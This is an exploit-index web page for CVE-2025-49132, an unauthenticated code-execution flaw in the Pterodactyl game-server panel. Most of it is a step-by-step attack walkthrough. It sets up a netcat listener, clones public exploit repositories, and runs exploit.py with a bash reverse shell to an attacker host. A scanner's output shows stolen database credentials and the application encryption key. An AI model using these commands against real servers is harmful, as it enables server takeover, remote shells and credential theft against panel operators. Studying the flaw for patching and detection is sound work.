Skip to content
HackIndex logo

HackIndex

CVE-2025-49132:
Pterodactyl

Published: Feb 22, 2026
Critical
Code Injection

CVE-2025-49132 is a critical remote code execution bug in the Pterodactyl Panel (open-source game server management panel) that lets an unauthenticated attacker run arbitrary code on the server via a crafted request to the /locales/locale.json endpoint, which can lead to full server compromise, including stealing panel credentials/config secrets, dumping the database, and accessing files for servers managed by the panel.

RCE Config Reading Laravel

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

YoyoChaud/CVE-2025-49132
Exploit for Pterodactyl Panel - unauthenticated LFI to RCE.
View repository (opens in new tab)

First start your reverse shell listener

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT 
listening on $LPORT ...

Then run the exploit

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/YoyoChaud/CVE-2025-49132.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-49132
 
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install requests
 
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://$TARGET --rce-cmd "/bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" 
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

  Pterodactyl Panel - Unauthenticated Exploit
  Targets: <= 1.11.10 | Patched: 1.11.11
  Exploit By YoyoChaud


════════════════════════════════════════════════════════════
  VULNERABILITY CHECK
════════════════════════════════════════════════════════════
  [*] Target: http://$TARGET
  [+] Endpoint accessible without hash parameter
  [+] TARGET IS VULNERABLE

════════════════════════════════════════════════════════════
  RCE (pearcmd) — /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
════════════════════════════════════════════════════════════
  [+] Output:
(connection held — check your listener)

In case the exploit fails and you know the direct path the the PHP pear executable specify it like:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://$TARGET --rce-cmd "/bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" --pear-dir /usr/share/php/PEAR
melonlonmeo/CVE-2025-49132
Poc - CVE-2025-49132
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/melonlonmeo/CVE-2025-49132.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-49132
 
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install -r requirements-standalone.txt
 
┌──(kali㉿kali)-[~]
└─$ python3 standalone_scanner.py scan http://$TARGET 
    ╔══════════════════════════════════════════════════════════════╗
    ║                                                              ║
    ║     █████  ████   ████████ ██   ██ ██    ██ ███    ██        ║
    ║    ██   ██ ██   ██    ██    ██ ██  ██    ██ ████   ██        ║
    ║    ███████ ██████     ██     ███   ██    ██ ██ ██  ██        ║
    ║    ██   ██ ██   ██    ██    ██ ██  ██    ██ ██  ██ ██        ║
    ║    ██   ██ ██   ██    ██   ██   ██  ██████  ██   ████        ║
    ║                                                              ║
    ║           Standalone Scanner - CVE-2025-49132                ║
    ║                                                              ║
    ╚══════════════════════════════════════════════════════════════╝
    
  [ANT_VN] Scanning: http://$TARGET
  [ANT_VN] Time: 2026-02-07 21:33:49
------------------------------------------------------------
[ANT_VN] VULNERABLE - Database credentials found!
[ANT_VN] Database Info:
   Host: 127.0.0.1
   Port: 3306
   Database: panel
   Username: pterodactyl
   Password: SecretPassword
   Connection String: pterodactyl:[email protected]:3306/panel
[ANT_VN] VULNERABLE - App configuration found!
[ANT_VN] App Config:
   App Key: base64{C39dq3jpoHd}+syFHl5E1c8qyz/exqdmeKRBIq/h0goA=
   Cipher: AES-256-CBC
   Debug: 
   Environment: production
   App Name: Pterodactyl
   App URL: http://$TARGET
   Timezone: UTC
   Locale: en
[ANT_VN] SECURITY WARNING: APP_KEY exposed!
   This key is used for encryption/decryption
   Can be used to decrypt sensitive data